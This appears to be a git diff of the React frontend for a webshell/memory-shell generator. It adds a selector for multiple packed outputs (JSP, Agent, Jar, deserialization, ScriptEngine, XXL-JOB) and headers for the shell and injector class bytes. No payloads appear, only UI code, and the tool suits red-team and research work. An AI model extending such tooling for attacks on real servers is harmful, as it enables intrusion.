import { Separator } from "@/components/ui/separator.tsx";
|
||||||
import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs.tsx";
|
import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs.tsx";
|
||||||
import { downloadBytes } from "@/lib/utils.ts";
|
import { downloadBytes } from "@/lib/utils.ts";
|
||||||
@@ -24,8 +25,9 @@ import {
|
|||||||
GenerateResult,
|
GenerateResult,
|
||||||
GodzillaShellToolConfig,
|
GodzillaShellToolConfig,
|
||||||
} from "@/types/shell.ts";
|
} from "@/types/shell.ts";
|
||||||
|
import { TFunction } from "i18next";
|
||||||
import { CircleHelpIcon, TriangleAlertIcon } from "lucide-react";
|
import { CircleHelpIcon, TriangleAlertIcon } from "lucide-react";
|
||||||
import { Fragment } from "react";
|
import { Fragment, useState } from "react";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
import { toast } from "sonner";
|
import { toast } from "sonner";
|
||||||
|
|
||||||
@@ -219,14 +221,111 @@ function BasicInfo({ generateResult }: { generateResult?: GenerateResult }) {
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
export function ShellResult({
|
function MultiPackResult({
|
||||||
packResult,
|
allPackResults,
|
||||||
packMethod,
|
packMethod,
|
||||||
generateResult,
|
t,
|
||||||
}: { packResult: string; packMethod: string; generateResult?: GenerateResult }) {
|
}: {
|
||||||
|
allPackResults: object | undefined;
|
||||||
|
packMethod: string;
|
||||||
|
t: TFunction;
|
||||||
|
}) {
|
||||||
|
const showCode = packMethod === "JSP";
|
||||||
|
const packMethods = Object.keys(allPackResults ?? {});
|
||||||
|
const [selectedMethod, setSelectedMethod] = useState(packMethods[0]);
|
||||||
|
const [packResult, setPackResult] = useState(allPackResults?.[selectedMethod as keyof typeof allPackResults] ?? "");
|
||||||
|
return (
|
||||||
|
<Fragment>
|
||||||
|
<CodeViewer
|
||||||
|
code={packResult ?? ""}
|
||||||
|
header={
|
||||||
|
<div className="flex items-center justify-between text-xs gap-2">
|
||||||
|
<Select
|
||||||
|
onValueChange={(value) => {
|
||||||
|
setSelectedMethod(value);
|
||||||
|
setPackResult(allPackResults?.[value as keyof typeof allPackResults] ?? "");
|
||||||
|
}}
|
||||||
|
value={selectedMethod}
|
||||||
|
>
|
||||||
|
<SelectTrigger className="h-7 text-xs [&_svg]:h-4 [&_svg]:w-4">
|
||||||
|
<span className="text-muted-foreground">{t("packageConfig.title")}: </span>
|
||||||
|
<SelectValue />
|
||||||
|
</SelectTrigger>
|
||||||
|
<SelectContent>
|
||||||
|
{packMethods.map((method) => (
|
||||||
|
<SelectItem key={method} value={method} className="text-xs">
|
||||||
|
{method}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
<span className="text-muted-foreground">({packResult?.length})</span>
|
||||||
|
</div>
|
||||||
|
}
|
||||||
|
wrapLongLines={!showCode}
|
||||||
|
showLineNumbers={showCode}
|
||||||
|
language={showCode ? "java" : "text"}
|
||||||
|
height={350}
|
||||||
|
/>
|
||||||
|
</Fragment>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderResultComponent(
|
||||||
|
packResult: string | undefined,
|
||||||
|
allPackResults: Map<string, string> | undefined,
|
||||||
|
packMethod: string,
|
||||||
|
t: TFunction,
|
||||||
|
generateResult?: GenerateResult,
|
||||||
|
) {
|
||||||
const showCode = packMethod === "JSP";
|
const showCode = packMethod === "JSP";
|
||||||
const isAgent = packMethod.startsWith("Agent");
|
const isAgent = packMethod.startsWith("Agent");
|
||||||
const isJar = packMethod === "Jar";
|
const isJar = packMethod === "Jar";
|
||||||
|
if (allPackResults) {
|
||||||
|
return <MultiPackResult allPackResults={allPackResults} packMethod={packMethod} t={t} />;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (isAgent) {
|
||||||
|
return <AgentResult packResult={packResult ?? ""} generateResult={generateResult} />;
|
||||||
|
}
|
||||||
|
if (isJar) {
|
||||||
|
return <JarResult packResult={packResult ?? ""} generateResult={generateResult} />;
|
||||||
|
}
|
||||||
|
if (!isAgent && !isJar) {
|
||||||
|
return (
|
||||||
|
<Fragment>
|
||||||
|
<CodeViewer
|
||||||
|
code={packResult ?? ""}
|
||||||
|
header={
|
||||||
|
<div className="flex items-center justify-between text-xs gap-2">
|
||||||
|
<span>
|
||||||
|
{t("packageConfig.title")}:{packMethod}
|
||||||
|
</span>
|
||||||
|
<span className="text-muted-foreground">({packResult?.length})</span>
|
||||||
|
</div>
|
||||||
|
}
|
||||||
|
wrapLongLines={!showCode}
|
||||||
|
showLineNumbers={showCode}
|
||||||
|
language={showCode ? "java" : "text"}
|
||||||
|
height={350}
|
||||||
|
/>
|
||||||
|
</Fragment>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function ShellResult({
|
||||||
|
packResult,
|
||||||
|
allPackResults,
|
||||||
|
packMethod,
|
||||||
|
generateResult,
|
||||||
|
}: {
|
||||||
|
packResult: string | undefined;
|
||||||
|
allPackResults: Map<string, string> | undefined;
|
||||||
|
packMethod: string;
|
||||||
|
generateResult?: GenerateResult;
|
||||||
|
}) {
|
||||||
const { t } = useTranslation();
|
const { t } = useTranslation();
|
||||||
return (
|
return (
|
||||||
<Fragment>
|
<Fragment>
|
||||||
@@ -241,20 +340,7 @@ export function ShellResult({
|
|||||||
<div className="mb-4">
|
<div className="mb-4">
|
||||||
<BasicInfo generateResult={generateResult} />
|
<BasicInfo generateResult={generateResult} />
|
||||||
</div>
|
</div>
|
||||||
{!isAgent && !isJar && (
|
{renderResultComponent(packResult, allPackResults, packMethod, t, generateResult)}
|
||||||
<Fragment>
|
|
||||||
<div className="flex items-center justify-end text-sm text-muted-foreground">({packResult.length})</div>
|
|
||||||
<CodeViewer
|
|
||||||
code={packResult}
|
|
||||||
wrapLongLines={!showCode}
|
|
||||||
showLineNumbers={showCode}
|
|
||||||
language={showCode ? "java" : "text"}
|
|
||||||
height={400}
|
|
||||||
/>
|
|
||||||
</Fragment>
|
|
||||||
)}
|
|
||||||
{isAgent && <AgentResult packResult={packResult} generateResult={generateResult} />}
|
|
||||||
{isJar && <JarResult packResult={packResult} generateResult={generateResult} />}
|
|
||||||
</TabsContent>
|
</TabsContent>
|
||||||
<TabsContent value="shell" className="mt-4">
|
<TabsContent value="shell" className="mt-4">
|
||||||
<Alert>
|
<Alert>
|
||||||
@@ -281,7 +367,9 @@ export function ShellResult({
|
|||||||
</div>
|
</div>
|
||||||
<CodeViewer
|
<CodeViewer
|
||||||
showLineNumbers={false}
|
showLineNumbers={false}
|
||||||
|
header={<div className="text-xs">{generateResult?.shellClassName}</div>}
|
||||||
wrapLongLines={true}
|
wrapLongLines={true}
|
||||||
|
height={600}
|
||||||
code={generateResult?.shellBytesBase64Str ?? ""}
|
code={generateResult?.shellBytesBase64Str ?? ""}
|
||||||
language="text"
|
language="text"
|
||||||
/>
|
/>
|
||||||
@@ -312,6 +400,8 @@ export function ShellResult({
|
|||||||
<CodeViewer
|
<CodeViewer
|
||||||
showLineNumbers={false}
|
showLineNumbers={false}
|
||||||
wrapLongLines={true}
|
wrapLongLines={true}
|
||||||
|
header={<div className="text-xs">{generateResult?.injectorClassName}</div>}
|
||||||
|
height={600}
|
||||||
code={generateResult?.injectorBytesBase64Str ?? ""}
|
code={generateResult?.injectorBytesBase64Str ?? ""}
|
||||||
language="text"
|
language="text"
|
||||||
/>
|
/>
|
||||||
|
|||||||
@@ -60,7 +60,7 @@ export const resources = {
|
|||||||
AgentJar: "AgentJar",
|
AgentJar: "AgentJar",
|
||||||
Deserialize: "Deserialize(Only CB4, 1.9.x)",
|
Deserialize: "Deserialize(Only CB4, 1.9.x)",
|
||||||
ScriptEngine: "ScriptEngine",
|
ScriptEngine: "ScriptEngine",
|
||||||
XxlJob: "XXL-JOB Executor"
|
XxlJob: "XXL-JOB Executor",
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
tips: {
|
tips: {
|
||||||
|
|||||||
@@ -53,7 +53,8 @@ function IndexComponent() {
|
|||||||
},
|
},
|
||||||
});
|
});
|
||||||
|
|
||||||
const [packResult, setPackResult] = useState<string>("");
|
const [packResult, setPackResult] = useState<string | undefined>();
|
||||||
|
const [allPackResults, setAllPackResults] = useState<Map<string, string> | undefined>();
|
||||||
const [generateResult, setGenerateResult] = useState<GenerateResult>();
|
const [generateResult, setGenerateResult] = useState<GenerateResult>();
|
||||||
const [packMethod, setPackMethod] = useState<string>("");
|
const [packMethod, setPackMethod] = useState<string>("");
|
||||||
const [isActionPending, startTransition] = useTransition();
|
const [isActionPending, startTransition] = useTransition();
|
||||||
@@ -98,6 +99,7 @@ function IndexComponent() {
|
|||||||
if (response.ok) {
|
if (response.ok) {
|
||||||
const json: GenerateResponse = await response.json();
|
const json: GenerateResponse = await response.json();
|
||||||
setPackResult(json.packResult);
|
setPackResult(json.packResult);
|
||||||
|
setAllPackResults(json.allPackResults);
|
||||||
setGenerateResult(json.generateResult);
|
setGenerateResult(json.generateResult);
|
||||||
setPackMethod(values.packingMethod);
|
setPackMethod(values.packingMethod);
|
||||||
toast.success(t("success.generated"));
|
toast.success(t("success.generated"));
|
||||||
@@ -124,7 +126,12 @@ function IndexComponent() {
|
|||||||
</Button>
|
</Button>
|
||||||
</div>
|
</div>
|
||||||
<div className="w-full xl:w-1/2 space-y-4">
|
<div className="w-full xl:w-1/2 space-y-4">
|
||||||
<ShellResult packMethod={packMethod} generateResult={generateResult} packResult={packResult} />
|
<ShellResult
|
||||||
|
packMethod={packMethod}
|
||||||
|
generateResult={generateResult}
|
||||||
|
packResult={packResult}
|
||||||
|
allPackResults={allPackResults}
|
||||||
|
/>
|
||||||
</div>
|
</div>
|
||||||
</form>
|
</form>
|
||||||
</Form>
|
</Form>
|
||||||
|
|||||||
@@ -61,8 +61,9 @@ export interface MainConfig {
|
|||||||
export type PackerConfig = Array<string>;
|
export type PackerConfig = Array<string>;
|
||||||
|
|
||||||
export interface GenerateResponse {
|
export interface GenerateResponse {
|
||||||
packResult: string;
|
|
||||||
generateResult: GenerateResult;
|
generateResult: GenerateResult;
|
||||||
|
packResult?: string;
|
||||||
|
allPackResults?: Map<string, string>;
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface APIErrorResponse {
|
export interface APIErrorResponse {
|
||||||
|
|||||||
Reference in New Issue
Block a user